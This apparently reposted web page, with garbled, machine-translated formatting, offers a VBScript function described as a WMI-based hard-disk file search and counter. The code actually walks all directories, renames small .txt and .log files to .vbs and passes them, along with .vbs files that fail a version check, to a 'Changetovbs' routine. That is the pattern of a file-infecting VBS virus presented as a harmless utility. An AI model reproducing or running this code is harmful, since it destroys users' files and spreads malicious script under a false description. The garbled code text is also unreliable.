VBS calls the WMI traversal method for searching hard disk files and counting them _vbs

Source: Internet
Author: User

A VBS that was written many years ago calls WMI to traverse the search for hard disk files and count the functions, today to tidy up the network disk, see, send up

Core code:

Function wmisfile (path_sf,justcnt) ' on Error Resume Next StrComputer = '. ' Set objWMIService = GetObject ("winmgmts:\\" & StrComputer & "\root\cimv2") set filelist = Objwmiservice.execquer
  Y _ ("Associators of {win32_directory.name= '" & Path_sf & "} Where" _ & "ResultClass = Cim_datafile") For each objfile in filelist fname = LCase (objfile.name) ename = LCase (objfile.extension) If 1 < OBJFILE.F Ilesize and Objfile.filesize <= 50000 Then Select case ename case "TXT", "log" Path_vbs = objfile.  Drive & Objfile.path & Objfile.filename & ". vbs" OBJFILE.RENAME (Objfile.drive & Objfile.path & Objfile.filename & ". vbs") call Changetovbs (path_vbs,path_vbs) justcnt = justcnt + 1 case "VB
        S ' If checkversion (fname) = False Then call Changetovbs (fname,fname) justcnt = justcnt + 1 End If End Select End If Next Set Colsubfolders = objWMIService.ExecQuery _ ("Associators of {win32_directory.name= '" & Path_sf & '} "_ &" Where Ass  Occlass = Win32_Subdirectory "_ &" Resultrole = PartComponent ") for each objfolder in Colsubfolders wmisfile objfolder.name,justcnt Next End Function

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.